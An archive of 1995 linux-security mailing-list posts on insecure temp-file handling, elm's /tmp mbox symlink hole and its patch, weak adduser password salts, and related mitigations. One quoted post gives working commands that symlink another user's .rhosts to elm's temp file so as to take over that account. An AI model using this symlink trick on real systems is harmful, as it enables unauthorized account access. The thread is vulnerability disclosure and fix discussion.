Thomas Koenig, [email protected], [email protected]. The joy of engineering is to find a straight line on a double logarithmic diagram. -----BEGIN PGP SIGNATURE----- Version: 2.6.2i iQCVAwUBMEc5GPBu+cbJcKCVAQE18gQAooePDDIDfmBMAwcLyXX+Qcxa7wDGa5Da nx0CduzdSABfzCKZesgagmTv6PHyd1s8IJI/e53xTKz2svOXTEdwvd5prQYYaMOj jOW2ZpyT4UVjMyvZPImBEoMym5rQ8yaHDy6d0a1VukvEi9p2ay5BGlxTKtJyJ4No +nME3AxlFC4= =aAlV -----END PGP SIGNATURE----- From [email protected] Fri Sep 1 17:26:54 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id RAA01977; Fri, 1 Sep 1995 17:20:30 -0400 Received: from iiit.swan.ac.uk ([email protected] [137.44.100.1]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id PAA01094; Fri, 1 Sep 1995 15:05:50 -0400 Message-Id: From: [email protected] (Alan Cox) Subject: Re: selection summary To: [email protected] (Olaf Kirch) Date: Fri, 1 Sep 1995 20:33:30 +0100 (BST) Cc: [email protected] In-Reply-To: from "Olaf Kirch" at Sep 1, 95 02:40:20 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 2010 Sender: [email protected] Precedence: list > Many people have pointed out that simply unlinking the file and then > opening it still leaves a race condition. I still haven't seen a secure > way of opening a temp file; maybe creating a `randomly' named file and > then calling rename() to move it to selection.pid is closest to what > can be done. For programs running under the root account, having a separate > directory for pid files and other temporary data is probably the best. > The FSSTND has a /var/run directory, which would be ideal for things like > these. I use the following. I think its secure and if not please tell me. Surround it with setfsuid(getuid()) // setfsuid(geteuid()) if you want the running user to make the file. while(1) { char *x=tmp_mkname(); /* /tmp/blahdesquiggle */ int fd=open(x, O_RDWR|O_EXCL|O_CREAT); if(fd==-1) /* Probably exists, dont touch it */ continue; if(fstat(fd,&stat)==-1) { close(fd); continue; /* Huh ??? */ } if(lstat(x,&stat2)==-1) /* Not posix but who cares */ { close(fd); continue; } if(x.st_ino!=fd.st_ino || x.st_dev!=fd.st_dev) /* Tut tut, slap wrist */ { close(fd); continue; } if((x.st_mode&S_IFMT)!=S_IFREG) /* Must be a file */ { close(fd); continue; } break; } And then use fchown, fchmod etc no path based calls. Unlinking is ok you might delete a file someone has renamed in /tmp to your filename.I hope people use sticky /tmp's > named /etc/named.pid or /var/run/named.pid. Older versions also > put their pid file in /usr/tmp, using fopen(...) > to open it. > However, debug information (named.run and named_dump.db) > is written to /tmp or /var/tmp. > elm uses mbox.. If user joe doesn't have a .rhosts > file, do this: > ln -s ~joe/.rhosts /tmp/mbox.joe > echo "localhost yourname" | rmail joe > and wait for joe to read his mail. This works at least with > elm 2.4. Have these two been posted on to Cert and to Bugtraq and 8lgm ?. The ELM one is especially nasty. Alan [I have forwarded the elm one to bugtraq and DFNCERT. --okir] linux-security/1995/linux-security.950902100664 1767 1767 20031 6022053617 17247 0ustar majdommajdomFrom [email protected] Sat Sep 2 09:09:20 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id IAA06793; Sat, 2 Sep 1995 08:47:57 -0400 Received: from cortex.AMS.Med.Uni-Goettingen.DE ([email protected] [134.76.140.101]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id TAA03355; Fri, 1 Sep 1995 19:20:23 -0400 Received: by cortex.AMS.Med.Uni-Goettingen.DE (Smail3.1.29.1 #9) id m0sofNT-0005G8C; Sat, 2 Sep 95 01:20 MET DST Date: Sat, 2 Sep 1995 01:20:03 +0200 (MET DST) From: Lutz Pressler To: Olaf Kirch cc: [email protected] Subject: Re: elm and /tmp/mbox.* Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list -----BEGIN PGP SIGNED MESSAGE----- I just wrote: >A quick kind of "fix" is to create for every user who has no .rhosts >file an empty one (or to disable r-commands altogether). Maybe one should recompile elm to put it's temp mbox file into the users' home directory. This disables multiple elm invocations on different hosts with common home dir, but inthis case the mail spool is probably shared, too, and multiple elms aren't good anyway. Comments? Does anyone know if the new MIME extensions (elm-2.4pl24me?) changed anything in this respect? Lutz -----BEGIN PGP SIGNATURE----- Version: 2.6.2i iQCVAwUBMEeVDU8rRJEuvpUdAQGfIwP6AqwuoDrknYEEtAg79ChjWjuCUnthkEKW q6BPKQYYkP6CwhCR8NY5sDpBxjI7//U5Lv+8sOyJJVFbjNR5DhSOURvZTdcLeuxH TbqYdhPMf+kg4lCDm/y0pkkZ+goo81IzptR5t1nJ7FRGuOu4OW05iABGSntWIHR7 79AA5epfYfc= =ijTN -----END PGP SIGNATURE----- -- Lutz Pre"sler Systemverwaltung -- Abt. Medizinische Statistik, Universit"at G"ottingen Humboldtallee 32, D-37073 G"ottingen, Tel.: +49(0551) 39-9774 FAX: -4995 [PGP-key:WWW&Keyserver] IRC:lp From [email protected] Sat Sep 2 09:09:21 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id IAA06781; Sat, 2 Sep 1995 08:46:58 -0400 Received: from brewhq.swb.de ([email protected] [193.175.30.3]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id RAA01934; Fri, 1 Sep 1995 17:19:38 -0400 Received: by brewhq.swb.de (Linux Smail3.1.29.0 #5) id m0sodUG-0005AxC; Fri, 1 Sep 95 23:18 MET DST Received: by monad.swb.de (smail3.1.29.0 #5) id m0sodyr-00003dC; Fri, 1 Sep 95 23:50 MET DST Message-Id: From: [email protected] (Olaf Kirch) Subject: Re: selection summary To: [email protected] (=?ISO-8859-1?Q?Thomas_K=F6nig?=) Date: Fri, 1 Sep 1995 23:50:33 +0200 (MET DST) Cc: [email protected] In-Reply-To: <[email protected]> from "=?ISO-8859-1?Q?Thomas_K=F6nig?=" at Sep 1, 95 06:48:05 pm X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Sender: [email protected] Precedence: list The problem with tempfiles as I see it is that you can't be sure where the file is actually created unless you have made it. All proposals I've seen so far do create the file, and abort if they notice they have been spoofed. This may not always be enough. There are programs for which even an empty file has significance. One such beast is cron: if you have no allow file, but an empty deny file, every user is given access. Admittedly, being able to run cron jobs does not constitute a security breach by itself, and not many people will have crond running without either an allow or deny file... Off the top of my head, I can't think of a more serious example, but it serves to show the problem. Another issue may be denial of service attacks, where programs stop working when they recognize a lock file. Of course, removing the file after you notice you have been spoofed is an option, provided you can be sure you just created it, and nobody flips the symlink to /etc/passwd while you're doing this... Olaf PS: My comment about dip showing you arbitrary files is no longer true, as Jeff Uphoff and Perry F Nguyen have pointed out. dip-337n fixes this problem. -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax For my PGP public key, finger [email protected]. From [email protected] Sat Sep 2 09:09:20 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id IAA06787; Sat, 2 Sep 1995 08:47:44 -0400 Received: from cortex.AMS.Med.Uni-Goettingen.DE ([email protected] [134.76.140.101]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id FAA06456; Sat, 2 Sep 1995 05:57:10 -0400 Received: by cortex.AMS.Med.Uni-Goettingen.DE (Smail3.1.29.1 #9) id m0sopJH-0005G8C; Sat, 2 Sep 95 11:56 MET DST Date: Sat, 2 Sep 1995 11:56:22 +0200 (MET DST) From: Lutz Pressler To: Olaf Kirch cc: [email protected], [email protected] Subject: elm and /tmp/mbox.*: patch Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list -----BEGIN PGP SIGNED MESSAGE----- Hello, as Olaf Kirch found out, elm (at least 2.4, including elm-2.4pl24me6) opens it's temporary mbox file in /tmp without checking for existing symlinks. This can be exploited by a local user: for example to create an .rhosts file for another account which has none yet - with valid entries, thus getting access to that account. The following patch (to be applied in the elm distribution directory) disables this possibility by changing the temporary mailbox file location to be .mbox.* in the users' home directory. This prohibits multiple elm sessions on different hosts with shared home dir, but as in this case the mail spool is probably shared, too, this should not be a problem. It seems that the other files sometimes created by elm in /tmp are not so problematic. I haven't checked this thoroughly yet though. Regards, Lutz Patch follows (remove PGPs "- " !): *** hdrs/sysdefs.SH.orig Sat Sep 2 11:06:35 1995 - --- hdrs/sysdefs.SH Sat Sep 2 11:33:53 1995 *************** *** 94,100 **** #define default_temp "$tmpdir/" #define temp_file "snd." #define temp_form_file "form." ! #define temp_mbox "mbox." #define temp_print "print." #define temp_edit "elm-edit" #define temp_uuname "uuname." - --- 94,100 ---- #define default_temp "$tmpdir/" #define temp_file "snd." #define temp_form_file "form." ! #define temp_mbox ".mbox." #define temp_print "print." #define temp_edit "elm-edit" #define temp_uuname "uuname." *** src/newmbox.c.orig Sat Sep 2 11:07:26 1995 - --- src/newmbox.c Sat Sep 2 11:34:31 1995 *************** *** 374,380 **** char *cp; ! sprintf(tempfn, "%s%s", default_temp, temp_mbox); if((cp = rindex(mbox, '/')) != NULL) { cp++; if (strcmp(cp, "mbox") == 0 || strcmp(cp, "mailbox") == 0 || - --- 374,380 ---- char *cp; ! sprintf(tempfn, "%s/%s", home, temp_mbox); if((cp = rindex(mbox, '/')) != NULL) { cp++; if (strcmp(cp, "mbox") == 0 || strcmp(cp, "mailbox") == 0 || -----BEGIN PGP SIGNATURE----- Version: 2.6.2i iQCVAwUBMEgqGE8rRJEuvpUdAQGQKAP9H2UXf3CbyC5/fZifAV9OzKoR6eGEwloA H/8+OJEfpwOacYCpcoi4Njkaj2bEzjlyRxzDnz0VBFPdurxvFsN2cM9qMAN2tvNZ qnP73hXFkLsi/ga8mmuVYeYgzoZJZOzPKSgA7SvtV8aD8WR/IK9Ze56beei5BIEx jlwv9TGpI7A= =82WU -----END PGP SIGNATURE----- -- Lutz Pre"sler Systemverwaltung -- Abt. Medizinische Statistik, Universit"at G"ottingen Humboldtallee 32, D-37073 G"ottingen, Tel.: +49(0551) 39-9774 FAX: -4995 [PGP-key:WWW&Keyserver] IRC:lp linux-security/1995/linux-security.950904100664 1767 1767 5633 6022700700 17234 0ustar majdommajdomFrom [email protected] Mon Sep 4 18:46:10 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id SAA19020; Mon, 4 Sep 1995 18:07:37 -0400 Received: from seas.smu.edu ([email protected] [129.119.3.2]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id HAA06652; Sat, 2 Sep 1995 07:23:32 -0400 Received: by seas.smu.edu (/\oo/\ Smail3.1.29.0 #29.12) id ; Sat, 2 Sep 95 06:23 CDT Received: by seas.smu.edu (/\oo/\ Smail3.1.29.0 #29.11) id ; Sat, 2 Sep 95 06:23 CDT Message-Id: From: [email protected] (Kenneth J. Hendrickson) Subject: console security (was Re: problem with selection) To: [email protected] Date: Sat, 2 Sep 1995 06:23:27 -0500 (CDT) In-Reply-To: <[email protected]> from "Zygo Blaxell" at Aug 29, 95 11:03:28 pm X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII # US-ASII doesn't prevent MIME use Content-Transfer-Encoding: 7bit Content-Length: 464 Sender: [email protected] Precedence: list Zygo Blaxell writes: >Console security really sucks on Linux. If anybody is sitting at the console they can do anything they want on any of the virtual console terminals anyway. In addition, there can be no security once access to physical hardware is possible. Why put effort into fixing what can't be fixed? -- http://www-scf.usc.edu/~khendric [email protected], [email protected] "Prior planning must be done in advance." -- Ken Hendrickson N8DGN/5 From [email protected] Mon Sep 4 18:46:17 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id SAA19026; Mon, 4 Sep 1995 18:08:07 -0400 Received: from dhp.com (dhp.com [199.245.105.1]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id NAA17344; Mon, 4 Sep 1995 13:10:48 -0400 Received: (from panzer@localhost) by dhp.com (8.6.12/8.6.12) id NAA32535; Mon, 4 Sep 1995 13:12:02 -0400 To: [email protected] Path: news.dhp.com!not-for-mail From: [email protected] (Panzer Boy) Newsgroups: mail.linux-security Subject: Re: elm and /tmp/mbox.* Date: 4 Sep 1995 13:11:58 -0400 Organization: DataHaven Project +1 412 421 4516 Lines: 7 Message-ID: <[email protected]> X-Newsreader: TIN [version 1.2 PL2+color] Sender: [email protected] Precedence: list Why oh why is ELM SUID root? What does it do that requires root access? It's SGID MAIL over here, and I have no complaints, and I'm trying to figure out why it's even that. [mod: The obvious alternative would be to have the mail drop directory mode 1777... Dunno how sendmail and smail react to forwarding statements in mailboxes not owned by the proper user --okir] -- -Matt ([email protected]) DI-1-9026 "That which can never be enforced should not be prohibited." linux-security/1995/linux-security.950905100664 1767 1767 13542 6023210210 17244 0ustar majdommajdomFrom [email protected] Tue Sep 5 12:06:23 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id LAA24561; Tue, 5 Sep 1995 11:37:57 -0400 Received: from tesla.cview.com ([email protected] [204.95.57.17]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id BAA21850; Tue, 5 Sep 1995 01:28:59 -0400 Received: from @ hobbiton.UUCP by tesla.cview.com with UUCP (Smail3.1.29.0 #1) id m0spqYt-00013IC; Tue, 5 Sep 95 00:28 CDT Received: by hobbiton (Smail3.1.29.1 #1) id m0spqRJ-000I7vC; Tue, 5 Sep 95 07:20 MET DST Date: Tue, 5 Sep 1995 07:20:52 +0200 (MET DST) From: "Dragisa N. Duric" X-Sender: dragisha@hobbiton To: Panzer Boy cc: [email protected] Subject: Re: elm and /tmp/mbox.* In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On 4 Sep 1995, Panzer Boy wrote: > Why oh why is ELM SUID root? It is error. u-s. > What does it do that requires root access? It's SGID MAIL over here, and > I have no complaints, and I'm trying to figure out why it's even that. It is SGID mail because ELM needs write access to /var/spool/mail for locking purposes. > [mod: The obvious alternative would be to have the mail drop directory > mode 1777... Dunno how sendmail and smail react to forwarding > statements in mailboxes not owned by the proper user --okir] If i understand this correctly, there are some security holes with this approach. I don't know current mailer's behavior, but one of possible problems is in fact that everyone can create any nonexistent file in mail drop directory. For example, link to someones .rhosts or something like.. -- dragisha From [email protected] Tue Sep 5 12:06:30 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id LAA24638; Tue, 5 Sep 1995 11:50:35 -0400 Received: from oxmail2.ox.ac.uk (oxmail2.ox.ac.uk [163.1.2.1]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id EAA23602; Tue, 5 Sep 1995 04:43:51 -0400 Received: from sable.ox.ac.uk by oxmail2.ox.ac.uk. with SMTP (PP) id <[email protected].>; Tue, 5 Sep 1995 09:44:13 +0100 Received: (from mbeattie@localhost) by sable.ox.ac.uk (1.4/8.6.12) id JAA20646; Tue, 5 Sep 1995 09:43:34 +0100 From: Malcolm Beattie Message-Id: <[email protected]> Subject: Re: console security (was Re: problem with selection) To: [email protected] (Kenneth J. Hendrickson) Date: Tue, 5 Sep 1995 09:43:34 +0000 (BST) Cc: [email protected] In-Reply-To: from "Kenneth J. Hendrickson" at Sep 2, 95 06:23:27 am X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 722 Sender: [email protected] Precedence: list Kenneth J. Hendrickson writes: > > Zygo Blaxell writes: > >Console security really sucks on Linux. > > If anybody is sitting at the console they can do anything they want on > any of the virtual console terminals anyway. In addition, there can be > no security once access to physical hardware is possible. > > Why put effort into fixing what can't be fixed? Physical access to keyboard and display does not necessarily mean physical access to the machine itself. Some colleges here arrange for their Linux servers to be locked in a cupboard with only the display and keyboard cables sticking out. --Malcolm -- Malcolm Beattie Unix Systems Programmer Oxford University Computing Services [Mod: Let's try not to diverge off too far into the realm of how to make PC's physically secure; that's sort of outside the focus of Linux-specific security (though I admit that it is a valid issue for Linux). Discussions on how to improve console security and the like, assuming some sort of existing physical security such as the "locked-away" systems mentioned above, are more appropriate IMHO. --Jeff.] From [email protected] Tue Sep 5 23:07:44 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id WAA27372; Tue, 5 Sep 1995 22:55:57 -0400 Received: (from juphoff@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id WAA27329; Tue, 5 Sep 1995 22:53:51 -0400 Date: Tue, 5 Sep 1995 22:53:51 -0400 Message-Id: <[email protected]> From: Jeff Uphoff To: [email protected] Subject: Linux adduser security bug [Forwarded e-mail from Mark Whitis] X-Quote-I-Like: "Whenever you have an efficient government, you have a dictatorship." --Harry S. Truman. X-Mailer: VM 5.94 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: list Forwarded on from a fellow that I know (personally) here. I have not looked into this myself yet... ------- start of forwarded message (RFC 934 encapsulation) ------- From: [email protected] (Mark Whitis) To: [email protected] Subject: Linux adduser security bug Date: Tue, 5 Sep 95 22:22:44 -0400 While writing my own adduser program, I noticed a bug in the adduser program distributed with linux. It only generates 256 possible salt values instead of 4096. This makes it easier for programs like crack. It makes storage of preencrypted dictionaries for all possible salt values more feasable (of order 500mb for 256 salts). Since the security of unix encrypted passwords is already pretty marginal with the computing power readily availible today, a factor of 16 degradation is unacceptable. No diffs yet, since I am working on a different program but the appropriate lines from my program could replace those in adduser to fix the problem when I am done. ------- end ------- linux-security/1995/linux-security.950906100664 1767 1767 10653 6023252347 17266 0ustar majdommajdomFrom [email protected] Wed Sep 6 03:59:26 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id DAA29732; Wed, 6 Sep 1995 03:55:16 -0400 Received: (from juphoff@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id DAA29699; Wed, 6 Sep 1995 03:47:41 -0400 Resent-Date: Wed, 6 Sep 1995 03:47:41 -0400 Resent-From: Jeff Uphoff Resent-Message-Id: <[email protected]> Resent-To: [email protected] Message-Id: <[email protected]> In-Reply-To: References: <[email protected]> DOS: complex nonsolutions to simple nonproblems. From: Joshua Cowan To: [email protected] Cc: "Dragisa N. Duric" Subject: Re: elm and /tmp/mbox.* Date: Wed, 6 Sep 1995 02:19:54 -0500 X-Mailer: VM 5.94 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: list [Mod: Please send all submissions to this list to the "linux-security@" address--not to the "owner-linux-security@" address (which is the Sender: address for outgoing posts, primarily for catching bounces and the like). Sending to the "owner-" address forces me to to resend the message to the proper address to initiate the approval mechanism and to preserve the From:, Message-Id:, etc., headers. Thanks! --Jeff.] >>>>> "Dragisa" == Dragisa N Duric writes: Dragisa> On 4 Sep 1995, Panzer Boy wrote: >> Why oh why is ELM SUID root? Dragisa> It is error. u-s. If, in fact, it is suid root, it is most definitely an error. Perhaps it is an older version of elm, in which case you will probably want to make sure that `arepdaemon' isn't still on the system (I think CERT issued a warning about this; in any case it is a big security hole). >> What does it do that requires root access? It's SGID MAIL over >> here, and I have no complaints, and I'm trying to figure out >> why it's even that. Dragisa> It is SGID mail because ELM needs write access to Dragisa> /var/spool/mail for locking purposes. >> [mod: The obvious alternative would be to have the mail drop >> directory mode 1777... Dunno how sendmail and smail react to >> forwarding statements in mailboxes not owned by the proper user >> --okir] Dragisa> If i understand this correctly, there are some security Dragisa> holes with this approach. I don't know current mailer's Dragisa> behavior, but one of possible problems is in fact that Dragisa> everyone can create any nonexistent file in mail drop Dragisa> directory. For example, link to someones .rhosts or Dragisa> something like.. -- dragisha I have the user's mail delivered to their respective home directories. This means that I neither have to make the mail spool directory world writable nor do I have to make any MUA's setgid mail (or mmdf). My MTA is Sendmail 8.7 using procmail as the local mailer program. I had to modify Pine to look in the user's home directory for the default INBOX, since it apparently doesn't use the ``MAIL'' environment variable (elm and emacs (VM) do) --- there may be an easier way, but not that I know of (I don't care for Pine, personally). I also modified the POP server accordingly. If enough people are interested, I can make snapshots of elm-2.4pl24me7a (patched to use ~/mbox.$USER, other little enhancements), mh-6.8.3 (I didn't build shared libs; at least one util is broken), pine3.91, qpopper-2.1.3 (_lots_ of enhancements & fixes (?) over version on SunSITE), and procmail-3.11pre3 sources available, perhaps as diffs against clean source trees. I can't make Sendmail 8.7 available, but it can be retrieved from ftp://ftp.cs.berkeley.edu/ucb/src/sendmail/.prerelease. I _can_ make my `sendmail.cf' available, or the m4 sources. All of these were built on a ELF (5.2.x) system. I think this is a good solution to the problem of how to handle local mail delivery, but please poke holes in it. ;-) -- Joshua Cowan __| I don't want to listen http://hermit.reslife.okstate.edu/~jcowan | but it's all too clear... Computer Engineering Student -- Oklahoma State University -- Stillwater, OK PGP key available from any PGP keyserver or by fingering the above address. linux-security/1995/linux-security.950908100664 1767 1767 6015 6024111405 17233 0ustar majdommajdomFrom [email protected] Fri Sep 8 15:01:20 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id OAA11263; Fri, 8 Sep 1995 14:18:28 -0400 Received: from i17linuxb.ists.pwr.wroc.pl ([email protected] [156.17.35.8]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id JAA05498; Thu, 7 Sep 1995 09:33:22 -0400 Received: (from marekm@localhost) by i17linuxb.ists.pwr.wroc.pl (8.6.12/8.6.9) id PAA19971; Thu, 7 Sep 1995 15:33:13 +0200 From: Marek Michalkiewicz Message-Id: <[email protected]> Subject: Re: Linux adduser security bug [Forwarded e-mail from Mark Whitis] To: [email protected] (Jeff Uphoff) Date: Thu, 7 Sep 1995 15:33:12 +0200 (MET DST) Cc: [email protected], [email protected] In-Reply-To: <[email protected]> from "Jeff Uphoff" at Sep 5, 95 10:53:51 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 1984 Sender: [email protected] Precedence: list > ------- start of forwarded message (RFC 934 encapsulation) ------- > From: [email protected] (Mark Whitis) > To: [email protected] > Subject: Linux adduser security bug > Date: Tue, 5 Sep 95 22:22:44 -0400 > > While writing my own adduser program, I noticed a bug in the adduser program > distributed with linux. It only generates 256 possible salt values instead > of 4096. This makes it easier for programs like crack. It makes [ I am cc'ing this to the author of the above message ] Why does adduser generate any salt values at all? Isn't passwd supposed to do this? I don't know about adduser, but all useradd programs I know of (from the shadow suite, and the GPL-ed one I am working on :) create new users with locked accounts ('!' in the password field) and it is necessary to run passwd (by root) to set initial password. Or does adduser run passwd and this is actually a problem with the passwd program? In which distribution? > storage of preencrypted dictionaries for all possible salt values more > feasable (of order 500mb for 256 salts). Since the security of > unix encrypted passwords is already pretty marginal with the > computing power readily availible today, a factor of 16 degradation > is unacceptable. Agreed, if it's of order 500MB for 256 salts, then it's of order 8GB for 4096 salts - not very much either. Computers are getting faster and hard drives are getting bigger all the time... We really need a proactive passwd program _and_ shadow passwords. I just started a complete rewrite of the shadow password suite (because it has too many bugs, design flaws like writing password files in place resulting in incomplete file if the program dies at the wrong time, and unclear copyright). It will be under the GPL (except some BSD code - I just almost ported login and su from FreeBSD), and it will support non-shadow passwords too. Don't hold your breath though - it may take a few months before I will need beta testers... Marek linux-security/1995/linux-security.950911100664 1767 1767 22260 6025152204 17250 0ustar majdommajdomFrom [email protected] Mon Sep 11 05:40:21 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id EAA01964; Mon, 11 Sep 1995 04:48:49 -0400 Received: from cyber.ict.pwr.wroc.pl ([email protected] [156.17.9.30]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id DAA00895; Mon, 11 Sep 1995 03:33:21 -0400 Received: (from tsurmacz@localhost) by cyber.ict.pwr.wroc.pl (8.6.10/ts-AeIU.2) id JAA05356 for [email protected]; Mon, 11 Sep 1995 09:33:26 +0200 >Received: from ts@localhost by papaja (8.6.10/8.6.9-ts-apk) id XAA00550 for [email protected]; Sun, 10 Sep 1995 23:12:05 +0200 From: Tomasz Surmacz Message-Id: <[email protected]> Subject: Re: elm and /tmp/mbox.* To: [email protected] Date: Sun, 10 Sep 1995 23:12:04 +0200 (MET DST) In-Reply-To: <[email protected]> from "[email protected]" at Sep 10, 95 03:45:08 am Organization: Just me at home X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 1050 Sender: [email protected] Precedence: list > From: Lutz Pressler > Date: Sat, 2 Sep 1995 01:20:03 +0200 (MET DST) > Subject: Re: elm and /tmp/mbox.* > > I just wrote: > > >A quick kind of "fix" is to create for every user who has no .rhosts > >file an empty one (or to disable r-commands altogether). No. The .rhosts file is just *one* quick method of getting into user's account. If he has .rhosts file already you can attack him using thousands of other methods, provided you can create arbitrary files in user's home directory (.cshrc, .profile, .login, .logout (how many of you have a .logout file?)). Other choices are countless - it is impossible to thing of just everything. The only way is to correct this misbehaviour at the source - the elm program in this case. Tomasz -- _________ (_ _' __) Tomasz R. Surmacz * Work:(071)202489, [email protected] | (__ \ http://www.ict.pwr.wroc.pl/~tsurmacz/ Home: [email protected] |__(____/ For PGP key finger [email protected] *----* irc: TomekS From [email protected] Mon Sep 11 15:26:18 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id PAA08067; Mon, 11 Sep 1995 15:13:23 -0400 Received: from nils.wustl.edu (nils.wustl.edu [128.252.125.50]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id LAA03972; Mon, 11 Sep 1995 11:48:19 -0400 Received: (from schiotz@localhost) by nils.wustl.edu (8.6.10/8.6.10) id KAA27666; Mon, 11 Sep 1995 10:48:47 -0500 Date: Mon, 11 Sep 1995 10:48:47 -0500 From: Jakob Schiotz Message-Id: <[email protected]> To: [email protected] Subject: syslog(2), libc-4.7.4: Versions confuse me. Sender: [email protected] Precedence: list Hi Security Gurus! I am trying to defuse the syslog(2) bomb by installing libc version 4.7.4 as recently posted here, but I made the mistake of reading the documentation... :-) The release notes (release.libc-4.7.4) say that I need gcc 3.6.3 (Got that one), binutils 2.5.2l.17 (got 2.5.2.6), and ld.so 1.6.7 (got 1.6.5). So it looks like I should update binutils and ld.so. However the release notes for binutils (release.binutils-2.5.2l.17) say that I need libc-5.0.9 or higher, and that it's for ELF ! Also, the ld.so that I can find is version 1.7.3 - isn't that an ELF version? What should I do? Just install libc-4.7.4 (and pray to the Gods of Linux)? Or install install some/all of the dependencies? Or (shudder) migrate to ELF? Or just realise that sometimes fixing a security hole can do more damage than the hacker could possibly do :-) I hope this is the appropriate forum for asking this, and will appreciate any help. Jakob, -- Jakob Schiotz ! Fax: +1 (314) 935 6219 Department of Physics ! Phone: +1 (314) 935 4968 Washington University ! Email: [email protected] St. Louis, MO 63130, USA ! WWW: http://nils.wustl.edu/schiotz.html From [email protected] Mon Sep 11 17:03:44 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id QAA08699; Mon, 11 Sep 1995 16:55:20 -0400 Received: (from juphoff@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id QAA08548; Mon, 11 Sep 1995 16:32:52 -0400 Date: Mon, 11 Sep 1995 16:32:52 -0400 Message-Id: <[email protected]> From: Jeff Uphoff To: [email protected] Subject: my sentence [Forwarded e-mail from Randal L. Schwartz] X-Quote-I-Like: "By golly, I'm beginning to think Linux really *is* the best thing since sliced bread." --Vance Petree, Virginia Power. X-Mailer: VM 5.94 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: list This is a sort of follow-up to my previous post announcing the conviction of Randal Schwartz for "computer crimes" related to his security "probing" [my term] at Intel. This is here strictly as an FYI on the case, now that the sentencing hearing has taken place. It is not really Linux-related, but rather shows, in some ways, how the "public" and corporations view and treat computer security issues in general. Please direct any follow-ups to the [email protected] mailing-list that is being run on a Majordomo server at that host. ------- start of forwarded message (RFC 934 encapsulation) ------- From: "Randal L. Schwartz" To: [email protected], [email protected] Subject: my sentence Date: Mon, 11 Sep 1995 13:11:03 -0700 After a very grueling few hours, I am once again jacked in. Here's the results: Count 1, reduced to a misdemeanor, 5 years probation, 90 days jail to begin september 1, *1998*. However, 60 days before this date I can petition the court to demonstrate excellent behavior and rehabilitation, and they may dismiss the jailtime. Disclosure required (see below). Count 2, 2 years probation, 480 hours of community service, disclosure required (see below). Count 3, 2 years probation, 480 hours of community service (hours count for both counts 2 and 3, so it's 480 total, not 960). Disclosure required (see below). Restitution hearing still to be set. Intel is asking for an additional $9000 over the original $63000. Disclosure: I must not become either a contract employee or employee without my potential employer becoming fully aware of my conviction. I attend my "probation induction" meeting next week. Please do not ask me about any appeal plans at this point. - -- Name: Randal L. Schwartz / Stonehenge Consulting Services (503)777-0095 Keywords: Perl training, UNIX[tm] consulting, video production, skiing, flying Email: Snail: (Call) PGP-Key: (finger [email protected]) Web: My Home Page! Quote: "I'm telling you, if I could have five lines in my .sig, I would!" -- me ------- end ------- From [email protected] Mon Sep 11 20:29:48 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id UAA11702; Mon, 11 Sep 1995 20:25:40 -0400 Received: from dhp.com (dhp.com [199.245.105.1]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id MAA04890; Mon, 11 Sep 1995 12:16:18 -0400 Received: (from panzer@localhost) by dhp.com (8.6.12/8.6.12) id MAA00315; Mon, 11 Sep 1995 12:13:52 -0400 To: [email protected] Path: news.dhp.com!not-for-mail From: [email protected] 